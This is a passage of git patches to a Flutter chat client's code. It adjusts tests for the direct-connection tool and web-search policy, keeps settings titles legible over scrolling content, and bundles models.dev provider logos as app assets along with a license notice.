a/test/features/chat/widgets/modern_chat_input_direct_test.dart +++ b/test/features/chat/widgets/modern_chat_input_direct_test.dart @@ -14,6 +14,7 @@ import 'package:conduit/features/chat/widgets/composer_overflow_items.dart'; import 'package:conduit/features/chat/widgets/modern_chat_input.dart'; import 'package:conduit_core/features/direct_connections/direct_connections.dart'; import 'package:conduit_core/features/direct_connections/providers/direct_mcp_providers.dart'; +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; import 'package:conduit/l10n/app_localizations.dart'; import 'package:conduit/l10n/app_localizations_en.dart'; import 'package:conduit/l10n/conduit_localizations.dart'; @@ -114,30 +115,46 @@ void main() { ); }); - test('direct send policy filters unsupported tools and search conflicts', () { + test('direct send policy keeps on-device search beside MCP tools', () { + // On-device search is another local tool, so it coexists with MCP. final apple = normalizeDirectToolSelectionForBinding( binding: const DirectModelBinding( profileId: kApplePccProfileId, adapterKey: kApplePccAdapterKey, remoteModelId: kApplePccRemoteModelId, ), + webSearchMode: DirectWebSearchMode.onDevice, enableWebSearch: true, localMcpToolIds: const ['local_mcp:home'], ); expect(apple.localMcpToolIds, ['local_mcp:home']); - expect(apple.enableWebSearch, isFalse); + expect(apple.enableWebSearch, isTrue); + // A provider-hosted search tool can't share a request with local tools. final openRouter = normalizeDirectToolSelectionForBinding( binding: const DirectModelBinding( profileId: 'openrouter', adapterKey: kOpenAiCompatibleAdapterKey, remoteModelId: 'model', ), + webSearchMode: DirectWebSearchMode.providerHosted, enableWebSearch: true, localMcpToolIds: const ['local_mcp:home'], ); expect(openRouter.localMcpToolIds, ['local_mcp:home']); expect(openRouter.enableWebSearch, isFalse); + + final noTools = normalizeDirectToolSelectionForBinding( + binding: const DirectModelBinding( + profileId: 'ollama', + adapterKey: kOllamaAdapterKey, + remoteModelId: 'gemma', + ), + webSearchMode: DirectWebSearchMode.unavailable, + enableWebSearch: true, + localMcpToolIds: const [], + ); + expect(noTools.enableWebSearch, isFalse); }); test('native composer glass uses non-animated cursor opacity', () { diff --git a/test/features/direct_connections/direct_adapters_test.dart b/test/features/direct_connections/direct_adapters_test.dart index 8e86108e8..eb2bdd89b 100644 --- a/test/features/direct_connections/direct_adapters_test.dart +++ b/test/features/direct_connections/direct_adapters_test.dart @@ -4822,7 +4822,10 @@ void main() { requiresUserDecision: false, execute: (arguments) async { executedArguments = arguments; - return const DirectToolResult(text: 'sunny'); + return const DirectToolResult( + text: 'sunny', + value: {'forecast': 'sunny'}, + ); }, ), ), @@ -4831,6 +4834,11 @@ void main() { .toList(); expect(executedArguments, {'city': 'Paris'}); + // The UI gets the structured value (web_search results become source + // chips); the model still gets the text, asserted on the replay below. + expect(events.whereType().single.result, { + 'forecast': 'sunny', + }); expect( events.whereType().map((event) => event.content), ['Checking.', 'It is sunny.'], diff --git a/test/features/direct_connections/direct_connections_management_test.dart b/test/features/direct_connections/direct_connections_management_test.dart index 3afd66a28..fba91c5a7 100644 --- a/test/features/direct_connections/direct_connections_management_test.dart +++ b/test/features/direct_connections/direct_connections_management_test.dart @@ -322,6 +322,52 @@ void main() { expect(changedContextLength, 8192); }); + testWidgets('a long context fallback list moves to its own page', ( + tester, + ) async { + final models = [ + for (var i = 0; i < kDirectContextCompactionInlineLimit + 1; i++) + Model( + id: DirectModelId.encode('gateway', 'model-$i'), + name: 'Model $i', + ), + ]; + + await tester.pumpWidget( + ProviderScope( + overrides: [ + directModelDiscoveryProvider.overrideWith( + () => _FixedDiscovery(models), + ), + ], + child: MaterialApp( + localizationsDelegates: conduitLocalizationsDelegates, + supportedLocales: AppLocalizations.supportedLocales, + home: DirectConnectionsContent( + profiles: const [], + modelsWithoutContextLimit: models, + syncWithOpenWebUi: false, + isOnboarding: false, + onContextLengthChanged: (_, _) {}, + onSyncChanged: (_) {}, + onAdd: () {}, + onEdit: (_) {}, + ), + ), + ), + ); + await tester.pumpAndSettle(); + + // One row instead of a row per model. + expect(find.text('Model 0'), findsNothing); + await tester.tap(find.text('6 models')); + await tester.pumpAndSettle(); + + for (final model in models) { + expect(find.text(model.name), findsOneWidget); + } + }); + testWidgets('separate connection groups fit a 320px-wide layout', ( tester, ) async { @@ -483,3 +529,13 @@ void main() { expect(remoteController.reloadCount, 2); }); } + +final class _FixedDiscovery extends DirectModelDiscoveryController { + _FixedDiscovery(this.models); + + final List models; + + @override + Future build() async => + DirectModelDiscoveryState(models: models); +} From 326d7a605c570f8e1bc2f155a00d4c4d70b8b81d Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 12:26:20 +0530 Subject: [PATCH 2/9] Keep settings page titles legible over scrolling content Settings pages now hold the top fade near-opaque behind the toolbar and only soften it below, like iOS's hard scroll edge, so rows scrolling under the title no longer read through it. Other screens keep the lighter ramp. --- lib/shared/widgets/chrome_gradient_fade.dart | 24 ++++++++++++++++--- .../utility/utility_page_scaffold.dart | 2 ++ 2 files changed, 23 insertions(+), 3 deletions(-) diff --git a/lib/shared/widgets/chrome_gradient_fade.dart b/lib/shared/widgets/chrome_gradient_fade.dart index bfe3857b2..da9871ff6 100644 --- a/lib/shared/widgets/chrome_gradient_fade.dart +++ b/lib/shared/widgets/chrome_gradient_fade.dart @@ -18,6 +18,7 @@ class ConduitChromeGradientFade extends StatelessWidget { required this.contentHeight, this.fadeHeight = kConduitChromeFadeHeight, this.backgroundColor, + this.solidBehindChrome = false, }); const ConduitChromeGradientFade.top({ @@ -25,6 +26,7 @@ class ConduitChromeGradientFade extends StatelessWidget { required this.contentHeight, this.fadeHeight = kConduitChromeFadeHeight, this.backgroundColor, + this.solidBehindChrome = false, }) : edge = ConduitChromeFadeEdge.top; const ConduitChromeGradientFade.bottom({ @@ -32,17 +34,25 @@ class ConduitChromeGradientFade extends StatelessWidget { required this.contentHeight, this.fadeHeight = kConduitChromeFadeHeight, this.backgroundColor, - }) : edge = ConduitChromeFadeEdge.bottom; + }) : edge = ConduitChromeFadeEdge.bottom, + solidBehindChrome = false; final ConduitChromeFadeEdge edge; final double contentHeight; final double fadeHeight; final Color? backgroundColor; + /// Keeps the fade near-opaque across [contentHeight] and only softens it + /// in the [fadeHeight] strip beyond, like iOS's "hard" scroll-edge style. + /// For bars with a title over scrolling rows, where the default ramp lets + /// text read through behind the title. + final bool solidBehindChrome; + @override Widget build(BuildContext context) { final baseColor = backgroundColor ?? context.conduitTheme.surfaceBackground; final height = contentHeight + fadeHeight; + final solidStop = height <= 0 ? 0.0 : contentHeight / height; final colors = edge == ConduitChromeFadeEdge.top ? [ baseColor.withValues(alpha: 0.92), @@ -66,8 +76,16 @@ class ConduitChromeGradientFade extends StatelessWidget { gradient: LinearGradient( begin: Alignment.topCenter, end: Alignment.bottomCenter, - colors: colors, - stops: const [0.0, 0.3, 0.65, 1.0], + colors: solidBehindChrome + ? [ + baseColor.withValues(alpha: 0.96), + baseColor.withValues(alpha: 0.96), + baseColor.withValues(alpha: 0.0), + ] + : colors, + stops: solidBehindChrome + ? [0.0, solidStop, 1.0] + : const [0.0, 0.3, 0.65, 1.0], ), ), ), diff --git a/lib/shared/widgets/utility/utility_page_scaffold.dart b/lib/shared/widgets/utility/utility_page_scaffold.dart index 535120e67..8f971c9a1 100644 --- a/lib/shared/widgets/utility/utility_page_scaffold.dart +++ b/lib/shared/widgets/utility/utility_page_scaffold.dart @@ -289,6 +289,8 @@ class _UtilityPageScaffoldState extends State { contentHeight: mediaQuery.viewPadding.top + conduitAdaptiveToolbarHeightOf(context), + // Settings titles sit over scrolling rows; keep them legible. + solidBehindChrome: true, ), ), ], From 9afdb79ebe14fa05420fb725c1506b01f5525541 Mon Sep 17 00:00:00 2001 From: cogwheel Date: Tue, 29 Sep 2026 12:43:10 +0530 Subject: [PATCH 3/9] Show models.dev logos as Direct model avatars Direct models now show their maker's logo, or failing that the logo of the provider serving them, instead of a letter tile. The logos and a compact index come from models.dev and ship in the app bundle (assets/model_logos, regenerated by tool/generate_model_logos.dart), so resolving an avatar never touches the network. - ModelLogoCatalog resolves a model by its lab prefix, the models.dev model index, then family prefixes (llama3.2 is Meta's), and falls back to the connection's API host or Ollama. - Direct models record their connection's host and no longer ask the Open WebUI server for an avatar that can't exist. - ModelAvatar draws the SVG tinted to the theme; the native iOS picker gets pre-rendered PNG bytes. --- THIRD_PARTY_NOTICES.md | 29 + assets/model_logos/302ai.svg | 7 + assets/model_logos/abacus.svg | 14 + assets/model_logos/abliteration-ai.svg | 6 + assets/model_logos/above.svg | 3 + assets/model_logos/agentrouter.svg | 4 + assets/model_logos/agnes.svg | 1 + assets/model_logos/ai-router.svg | 5 + assets/model_logos/ai21.svg | 3 + assets/model_logos/aiand.svg | 4 + assets/model_logos/aihubmix.svg | 3 + assets/model_logos/ainetcafe.svg | 1 + assets/model_logos/aixy.svg | 4 + assets/model_logos/aki-io.svg | 8 + assets/model_logos/alibaba-cn.svg | 3 + assets/model_logos/alibaba-coding-plan-cn.svg | 3 + assets/model_logos/alibaba-coding-plan.svg | 3 + assets/model_logos/alibaba-token-plan.svg | 3 + assets/model_logos/alibaba.svg | 3 + assets/model_logos/amazon-bedrock.svg | 3 + assets/model_logos/ambient.svg | 3 + assets/model_logos/amd.svg | 3 + assets/model_logos/anthropic.svg | 3 + assets/model_logos/anyapi.svg | 3 + assets/model_logos/arcee.svg | 3 + assets/model_logos/atomic-chat.svg | 1 + assets/model_logos/auriko.svg | 6 + .../model_logos/azure-cognitive-services.svg | 3 + assets/model_logos/azure.svg | 3 + assets/model_logos/bailing.svg | 3 + assets/model_logos/baseten.svg | 3 + assets/model_logos/bee.svg | 1 + assets/model_logos/berget.svg | 3 + assets/model_logos/blueclaw.svg | 3 + assets/model_logos/bothub.svg | 33 + assets/model_logos/catalog.json | 1035 +++++++++++++++++ assets/model_logos/cerebras.svg | 4 + assets/model_logos/clarifai.svg | 3 + assets/model_logos/claudinio.svg | 19 + assets/model_logos/cloudferro-sherlock.svg | 5 + assets/model_logos/cloudflare-ai-gateway.svg | 4 + assets/model_logos/cloudflare-workers-ai.svg | 4 + assets/model_logos/cohere.svg | 5 + assets/model_logos/coralbricks.svg | 6 + assets/model_logos/crossmodel.svg | 5 + assets/model_logos/crusoe.svg | 23 + assets/model_logos/daoxe.svg | 3 + assets/model_logos/databricks.svg | 3 + assets/model_logos/deepinfra.svg | 4 + assets/model_logos/deepseek.svg | 3 + assets/model_logos/digitalocean.svg | 6 + assets/model_logos/dinference.svg | 1 + assets/model_logos/drun.svg | 8 + assets/model_logos/ebcloud.svg | 8 + assets/model_logos/echo.svg | 7 + assets/model_logos/edenai.svg | 8 + assets/model_logos/empiriolabs.svg | 1 + assets/model_logos/evroc.svg | 3 + assets/model_logos/fastrouter.svg | 3 + assets/model_logos/fireworks-ai.svg | 3 + assets/model_logos/freemodel.svg | 3 + assets/model_logos/friendli.svg | 3 + assets/model_logos/frogbot.svg | 36 + assets/model_logos/github-copilot.svg | 3 + assets/model_logos/gitlab.svg | 3 + .../model_logos/google-vertex-anthropic.svg | 10 + assets/model_logos/google-vertex.svg | 10 + assets/model_logos/google.svg | 3 + assets/model_logos/greenpt.svg | 6 + assets/model_logos/groq.svg | 3 + assets/model_logos/helicone.svg | 6 + assets/model_logos/hetzner.svg | 3 + assets/model_logos/hpc-ai.svg | 446 +++++++ assets/model_logos/huggingface.svg | 3 + assets/model_logos/hyper.svg | 20 + assets/model_logos/iflowcn.svg | 3 + assets/model_logos/impossibl.svg | 3 + assets/model_logos/inception.svg | 14 + assets/model_logos/inceptron.svg | 14 + assets/model_logos/inco.svg | 3 + assets/model_logos/infer.svg | 4 + assets/model_logos/inference.svg | 3 + assets/model_logos/inferx.svg | 5 + assets/model_logos/infomaniak.svg | 3 + assets/model_logos/io-net.svg | 5 + assets/model_logos/iteracompute.svg | 7 + assets/model_logos/jalapeno.svg | 8 + assets/model_logos/jiekou.svg | 4 + assets/model_logos/kenari.svg | 4 + assets/model_logos/kilo.svg | 4 + assets/model_logos/kimi-code-plan-cn.svg | 3 + assets/model_logos/kimi-code-plan-global.svg | 3 + assets/model_logos/klokintegration.svg | 11 + assets/model_logos/kosmik.svg | 28 + assets/model_logos/kuae-cloud-coding-plan.svg | 3 + assets/model_logos/lilac.svg | 6 + assets/model_logos/llama.svg | 3 + assets/model_logos/llmgateway-providers.svg | 6 + assets/model_logos/llmgateway.svg | 6 + assets/model_logos/llmtech.svg | 6 + assets/model_logos/llmtr.svg | 12 + assets/model_logos/lmstudio.svg | 3 + assets/model_logos/longcat.svg | 6 + assets/model_logos/lucidquery.svg | 3 + assets/model_logos/lynkr.svg | 1 + assets/model_logos/meganova.svg | 3 + assets/model_logos/melious.svg | 3 + assets/model_logos/merge-gateway.svg | 4 + assets/model_logos/meta.svg | 3 + assets/model_logos/minimax-cn-coding-plan.svg | 3 + assets/model_logos/minimax-cn.svg | 3 + assets/model_logos/minimax-coding-plan.svg | 3 + assets/model_logos/minimax.svg | 3 + assets/model_logos/mistral.svg | 3 + assets/model_logos/mixlayer.svg | 9 + assets/model_logos/moark.svg | 3 + assets/model_logos/modal.svg | 3 + assets/model_logos/model-oracle-ai.svg | 11 + assets/model_logos/modelis.svg | 1 + assets/model_logos/modelscope.svg | 5 + assets/model_logos/moonshotai-cn.svg | 3 + assets/model_logos/moonshotai.svg | 3 + assets/model_logos/nan.svg | 1 + assets/model_logos/nano-gpt.svg | 3 + assets/model_logos/nearai.svg | 1 + assets/model_logos/nebius.svg | 4 + assets/model_logos/neon.svg | 3 + assets/model_logos/neosmith.svg | 6 + assets/model_logos/neuralwatt.svg | 27 + assets/model_logos/nova.svg | 3 + assets/model_logos/novita-ai.svg | 10 + assets/model_logos/nvidia.svg | 3 + assets/model_logos/oci.svg | 3 + assets/model_logos/ofox.svg | 5 + assets/model_logos/ollama-cloud.svg | 7 + assets/model_logos/openai.svg | 3 + assets/model_logos/opencode-go.svg | 3 + assets/model_logos/opencode.svg | 3 + assets/model_logos/openreason.svg | 8 + assets/model_logos/openrouter.svg | 3 + assets/model_logos/opper.svg | 3 + assets/model_logos/orcarouter.svg | 2 + assets/model_logos/ovhcloud.svg | 3 + assets/model_logos/pareto.svg | 5 + assets/model_logos/pendra.svg | 10 + assets/model_logos/perplexity-agent.svg | 3 + assets/model_logos/perplexity.svg | 3 + assets/model_logos/pioneer.svg | 3 + assets/model_logos/poe.svg | 7 + assets/model_logos/poolside.svg | 3 + assets/model_logos/privatemode-ai.svg | 5 + assets/model_logos/qihang-ai.svg | 9 + assets/model_logos/qiniu-ai.svg | 7 + assets/model_logos/qvac.svg | 6 + assets/model_logos/regolo-ai.svg | 46 + assets/model_logos/routing-run.svg | 4 + assets/model_logos/runinfra.svg | 10 + assets/model_logos/salad-cloud.svg | 15 + assets/model_logos/scaleway.svg | 5 + assets/model_logos/scnet-token-plan.svg | 8 + assets/model_logos/scx-ai.svg | 1 + assets/model_logos/sensenova.svg | 18 + assets/model_logos/siliconflow-cn.svg | 3 + assets/model_logos/siliconflow.svg | 3 + assets/model_logos/snowflake-cortex.svg | 3 + assets/model_logos/stackit.svg | 4 + assets/model_logos/standardcompute.svg | 5 + assets/model_logos/stepfun-ai-step-plan.svg | 16 + assets/model_logos/stepfun-ai.svg | 16 + assets/model_logos/stepfun-step-plan.svg | 16 + assets/model_logos/stepfun.svg | 16 + assets/model_logos/subconscious.svg | 3 + assets/model_logos/submodel.svg | 3 + assets/model_logos/tempr.svg | 4 + assets/model_logos/tencent-coding-plan.svg | 5 + assets/model_logos/tencent-token-plan.svg | 3 + assets/model_logos/tencent-tokenhub.svg | 3 + assets/model_logos/tensorx.svg | 6 + assets/model_logos/the-grid-ai.svg | 14 + assets/model_logos/thinkingmachines.svg | 3 + assets/model_logos/tinfoil.svg | 3 + assets/model_logos/togetherai.svg | 4 + assets/model_logos/tokengo.svg | 3 + assets/model_logos/tokenrouter.svg | 4 + assets/model_logos/trustedrouter.svg | 4 + assets/model_logos/umans-ai-coding-plan.svg | 29 + assets/model_logos/umans-ai.svg | 29 + assets/model_logos/unorouter.svg | 7 + assets/model_logos/v0.svg | 3 + assets/model_logos/vancine.svg | 6 + assets/model_logos/venice.svg | 4 + assets/model_logos/vercel.svg | 3 + assets/model_logos/vispark.svg | 3 + assets/model_logos/vivgrid.svg | 4 + assets/model_logos/volcengine-coding-plan.svg | 3 + assets/model_logos/volcengine.svg | 3 + assets/model_logos/vultr.svg | 6 + assets/model_logos/wafer.ai.svg | 3 + assets/model_logos/wallaby.svg | 3 + assets/model_logos/wandb.svg | 6 + assets/model_logos/watsonx.svg | 5 + assets/model_logos/xai.svg | 3 + assets/model_logos/xiaomi-token-plan-ams.svg | 3 + assets/model_logos/xiaomi-token-plan-cn.svg | 3 + assets/model_logos/xiaomi-token-plan-sgp.svg | 3 + assets/model_logos/xiaomi.svg | 3 + assets/model_logos/xpersona.svg | 8 + assets/model_logos/zai-coding-plan.svg | 3 + assets/model_logos/zai.svg | 3 + assets/model_logos/zeldoc.svg | 3 + assets/model_logos/zenifra.svg | 4 + assets/model_logos/zenmux.svg | 4 + assets/model_logos/zhipuai-coding-plan.svg | 3 + assets/model_logos/zhipuai.svg | 3 + .../native_sheet_hydration_service.dart | 25 + lib/core/utils/model_icon_utils.dart | 6 + lib/core/utils/model_logos.dart | 116 ++ lib/main.dart | 10 +- lib/shared/widgets/model_avatar.dart | 40 + .../direct_connections.dart | 1 + .../services/direct_model_registry.dart | 4 + .../services/model_logo_catalog.dart | 91 ++ .../model_logo_catalog_test.dart | 54 + pubspec.yaml | 1 + test/core/utils/model_logo_avatar_test.dart | 62 + tool/generate_model_logos.dart | 211 ++++ 226 files changed, 3365 insertions(+), 1 deletion(-) create mode 100644 assets/model_logos/302ai.svg create mode 100644 assets/model_logos/abacus.svg create mode 100644 assets/model_logos/abliteration-ai.svg create mode 100644 assets/model_logos/above.svg create mode 100644 assets/model_logos/agentrouter.svg create mode 100644 assets/model_logos/agnes.svg create mode 100644 assets/model_logos/ai-router.svg create mode 100644 assets/model_logos/ai21.svg create mode 100644 assets/model_logos/aiand.svg create mode 100644 assets/model_logos/aihubmix.svg create mode 100644 assets/model_logos/ainetcafe.svg create mode 100644 assets/model_logos/aixy.svg create mode 100644 assets/model_logos/aki-io.svg create mode 100644 assets/model_logos/alibaba-cn.svg create mode 100644 assets/model_logos/alibaba-coding-plan-cn.svg create mode 100644 assets/model_logos/alibaba-coding-plan.svg create mode 100644 assets/model_logos/alibaba-token-plan.svg create mode 100644 assets/model_logos/alibaba.svg create mode 100644 assets/model_logos/amazon-bedrock.svg create mode 100644 assets/model_logos/ambient.svg create mode 100644 assets/model_logos/amd.svg create mode 100644 assets/model_logos/anthropic.svg create mode 100644 assets/model_logos/anyapi.svg create mode 100644 assets/model_logos/arcee.svg create mode 100644 assets/model_logos/atomic-chat.svg create mode 100644 assets/model_logos/auriko.svg create mode 100644 assets/model_logos/azure-cognitive-services.svg create mode 100644 assets/model_logos/azure.svg create mode 100644 assets/model_logos/bailing.svg create mode 100644 assets/model_logos/baseten.svg create mode 100644 assets/model_logos/bee.svg create mode 100644 assets/model_logos/berget.svg create mode 100644 assets/model_logos/blueclaw.svg create mode 100644 assets/model_logos/bothub.svg create mode 100644 assets/model_logos/catalog.json create mode 100644 assets/model_logos/cerebras.svg create mode 100644 assets/model_logos/clarifai.svg create mode 100644 assets/model_logos/claudinio.svg create mode 100644 assets/model_logos/cloudferro-sherlock.svg create mode 100644 assets/model_logos/cloudflare-ai-gateway.svg create mode 100644 assets/model_logos/cloudflare-workers-ai.svg create mode 100644 assets/model_logos/cohere.svg create mode 100644 assets/model_logos/coralbricks.svg create mode 100644 assets/model_logos/crossmodel.svg create mode 100644 assets/model_logos/crusoe.svg create mode 100644 assets/model_logos/daoxe.svg create mode 100644 assets/model_logos/databricks.svg create mode 100644 assets/model_logos/deepinfra.svg create mode 100644 assets/model_logos/deepseek.svg create mode 100644 assets/model_logos/digitalocean.svg create mode 100644 assets/model_logos/dinference.svg create mode 100644 assets/model_logos/drun.svg create mode 100644 assets/model_logos/ebcloud.svg create mode 100644 assets/model_logos/echo.svg create mode 100644 assets/model_logos/edenai.svg create mode 100644 assets/model_logos/empiriolabs.svg create mode 100644 assets/model_logos/evroc.svg create mode 100644 assets/model_logos/fastrouter.svg create mode 100644 assets/model_logos/fireworks-ai.svg create mode 100644 assets/model_logos/freemodel.svg create mode 100644 assets/model_logos/friendli.svg create mode 100644 assets/model_logos/frogbot.svg create mode 100644 assets/model_logos/github-copilot.svg create mode 100644 assets/model_logos/gitlab.svg create mode 100644 assets/model_logos/google-vertex-anthropic.svg create mode 100644 assets/model_logos/google-vertex.svg create mode 100644 assets/model_logos/google.svg create mode 100644 assets/model_logos/greenpt.svg create mode 100644 assets/model_logos/groq.svg create mode 100644 assets/model_logos/helicone.svg create mode 100644 assets/model_logos/hetzner.svg create mode 100644 assets/model_logos/hpc-ai.svg create mode 100644 assets/model_logos/huggingface.svg create mode 100644 assets/model_logos/hyper.svg create mode 100644 assets/model_logos/iflowcn.svg create mode 100644 assets/model_logos/impossibl.svg create mode 100644 assets/model_logos/inception.svg create mode 100644 assets/model_logos/inceptron.svg create mode 100644 assets/model_logos/inco.svg create mode 100644 assets/model_logos/infer.svg create mode 100644 assets/model_logos/inference.svg create mode 100644 assets/model_logos/inferx.svg create mode 100644 assets/model_logos/infomaniak.svg create mode 100644 assets/model_logos/io-net.svg create mode 100644 assets/model_logos/iteracompute.svg create mode 100644 assets/model_logos/jalapeno.svg create mode 100644 assets/model_logos/jiekou.svg create mode 100644 assets/model_logos/kenari.svg create mode 100644 assets/model_logos/kilo.svg create mode 100644 assets/model_logos/kimi-code-plan-cn.svg create mode 100644 assets/model_logos/kimi-code-plan-global.svg create mode 100644 assets/model_logos/klokintegration.svg create mode 100644 assets/model_logos/kosmik.svg create mode 100644 assets/model_logos/kuae-cloud-coding-plan.svg create mode 100644 assets/model_logos/lilac.svg create mode 100644 assets/model_logos/llama.svg create mode 100644 assets/model_logos/llmgateway-providers.svg create mode 100644 assets/model_logos/llmgateway.svg create mode 100644 assets/model_logos/llmtech.svg create mode 100644 assets/model_logos/llmtr.svg create mode 100644 assets/model_logos/lmstudio.svg create mode 100644 assets/model_logos/longcat.svg create mode 100644 assets/model_logos/lucidquery.svg create mode 100644 assets/model_logos/lynkr.svg create mode 100644 assets/model_logos/meganova.svg create mode 100644 assets/model_logos/melious.svg create mode 100644 assets/model_logos/merge-gateway.svg create mode 100644 assets/model_logos/meta.svg create mode 100644 assets/model_logos/minimax-cn-coding-plan.svg create mode 100644 assets/model_logos/minimax-cn.svg create mode 100644 assets/model_logos/minimax-coding-plan.svg create mode 100644 assets/model_logos/minimax.svg create mode 100644 assets/model_logos/mistral.svg create mode 100644 assets/model_logos/mixlayer.svg create mode 100644 assets/model_logos/moark.svg create mode 100644 assets/model_logos/modal.svg create mode 100644 assets/model_logos/model-oracle-ai.svg create mode 100644 assets/model_logos/modelis.svg create mode 100644 assets/model_logos/modelscope.svg create mode 100644 assets/model_logos/moonshotai-cn.svg create mode 100644 assets/model_logos/moonshotai.svg create mode 100644 assets/model_logos/nan.svg create mode 100644 assets/model_logos/nano-gpt.svg create mode 100644 assets/model_logos/nearai.svg create mode 100644 assets/model_logos/nebius.svg create mode 100644 assets/model_logos/neon.svg create mode 100644 assets/model_logos/neosmith.svg create mode 100644 assets/model_logos/neuralwatt.svg create mode 100644 assets/model_logos/nova.svg create mode 100644 assets/model_logos/novita-ai.svg create mode 100644 assets/model_logos/nvidia.svg create mode 100644 assets/model_logos/oci.svg create mode 100644 assets/model_logos/ofox.svg create mode 100644 assets/model_logos/ollama-cloud.svg create mode 100644 assets/model_logos/openai.svg create mode 100644 assets/model_logos/opencode-go.svg create mode 100644 assets/model_logos/opencode.svg create mode 100644 assets/model_logos/openreason.svg create mode 100644 assets/model_logos/openrouter.svg create mode 100644 assets/model_logos/opper.svg create mode 100644 assets/model_logos/orcarouter.svg create mode 100644 assets/model_logos/ovhcloud.svg create mode 100644 assets/model_logos/pareto.svg create mode 100644 assets/model_logos/pendra.svg create mode 100644 assets/model_logos/perplexity-agent.svg create mode 100644 assets/model_logos/perplexity.svg create mode 100644 assets/model_logos/pioneer.svg create mode 100644 assets/model_logos/poe.svg create mode 100644 assets/model_logos/poolside.svg create mode 100644 assets/model_logos/privatemode-ai.svg create mode 100644 assets/model_logos/qihang-ai.svg create mode 100644 assets/model_logos/qiniu-ai.svg create mode 100644 assets/model_logos/qvac.svg create mode 100644 assets/model_logos/regolo-ai.svg create mode 100644 assets/model_logos/routing-run.svg create mode 100644 assets/model_logos/runinfra.svg create mode 100644 assets/model_logos/salad-cloud.svg create mode 100644 assets/model_logos/scaleway.svg create mode 100644 assets/model_logos/scnet-token-plan.svg create mode 100644 assets/model_logos/scx-ai.svg create mode 100644 assets/model_logos/sensenova.svg create mode 100644 assets/model_logos/siliconflow-cn.svg create mode 100644 assets/model_logos/siliconflow.svg create mode 100644 assets/model_logos/snowflake-cortex.svg create mode 100644 assets/model_logos/stackit.svg create mode 100644 assets/model_logos/standardcompute.svg create mode 100644 assets/model_logos/stepfun-ai-step-plan.svg create mode 100644 assets/model_logos/stepfun-ai.svg create mode 100644 assets/model_logos/stepfun-step-plan.svg create mode 100644 assets/model_logos/stepfun.svg create mode 100644 assets/model_logos/subconscious.svg create mode 100644 assets/model_logos/submodel.svg create mode 100644 assets/model_logos/tempr.svg create mode 100644 assets/model_logos/tencent-coding-plan.svg create mode 100644 assets/model_logos/tencent-token-plan.svg create mode 100644 assets/model_logos/tencent-tokenhub.svg create mode 100644 assets/model_logos/tensorx.svg create mode 100644 assets/model_logos/the-grid-ai.svg create mode 100644 assets/model_logos/thinkingmachines.svg create mode 100644 assets/model_logos/tinfoil.svg create mode 100644 assets/model_logos/togetherai.svg create mode 100644 assets/model_logos/tokengo.svg create mode 100644 assets/model_logos/tokenrouter.svg create mode 100644 assets/model_logos/trustedrouter.svg create mode 100644 assets/model_logos/umans-ai-coding-plan.svg create mode 100644 assets/model_logos/umans-ai.svg create mode 100644 assets/model_logos/unorouter.svg create mode 100644 assets/model_logos/v0.svg create mode 100644 assets/model_logos/vancine.svg create mode 100644 assets/model_logos/venice.svg create mode 100644 assets/model_logos/vercel.svg create mode 100644 assets/model_logos/vispark.svg create mode 100644 assets/model_logos/vivgrid.svg create mode 100644 assets/model_logos/volcengine-coding-plan.svg create mode 100644 assets/model_logos/volcengine.svg create mode 100644 assets/model_logos/vultr.svg create mode 100644 assets/model_logos/wafer.ai.svg create mode 100644 assets/model_logos/wallaby.svg create mode 100644 assets/model_logos/wandb.svg create mode 100644 assets/model_logos/watsonx.svg create mode 100644 assets/model_logos/xai.svg create mode 100644 assets/model_logos/xiaomi-token-plan-ams.svg create mode 100644 assets/model_logos/xiaomi-token-plan-cn.svg create mode 100644 assets/model_logos/xiaomi-token-plan-sgp.svg create mode 100644 assets/model_logos/xiaomi.svg create mode 100644 assets/model_logos/xpersona.svg create mode 100644 assets/model_logos/zai-coding-plan.svg create mode 100644 assets/model_logos/zai.svg create mode 100644 assets/model_logos/zeldoc.svg create mode 100644 assets/model_logos/zenifra.svg create mode 100644 assets/model_logos/zenmux.svg create mode 100644 assets/model_logos/zhipuai-coding-plan.svg create mode 100644 assets/model_logos/zhipuai.svg create mode 100644 lib/core/utils/model_logos.dart create mode 100644 packages/conduit_core/lib/features/direct_connections/services/model_logo_catalog.dart create mode 100644 packages/conduit_core/test/features/direct_connections/model_logo_catalog_test.dart create mode 100644 test/core/utils/model_logo_avatar_test.dart create mode 100644 tool/generate_model_logos.dart diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md index 5f37127a6..45713ccad 100644 --- a/THIRD_PARTY_NOTICES.md +++ b/THIRD_PARTY_NOTICES.md @@ -62,3 +62,32 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +## models.dev logos + +`assets/model_logos/` holds provider and model-maker logos and a derived +index from models.dev (), generated by +`tool/generate_model_logos.dart`. The logos are trademarks of their +respective owners and are used only to identify their models. + +MIT License + +Copyright (c) 2025 models.dev + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/assets/model_logos/302ai.svg b/assets/model_logos/302ai.svg new file mode 100644 index 000000000..46f2e4315 --- /dev/null +++ b/assets/model_logos/302ai.svg @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/assets/model_logos/abacus.svg b/assets/model_logos/abacus.svg new file mode 100644 index 000000000..121a91d98 --- /dev/null +++ b/assets/model_logos/abacus.svg @@ -0,0 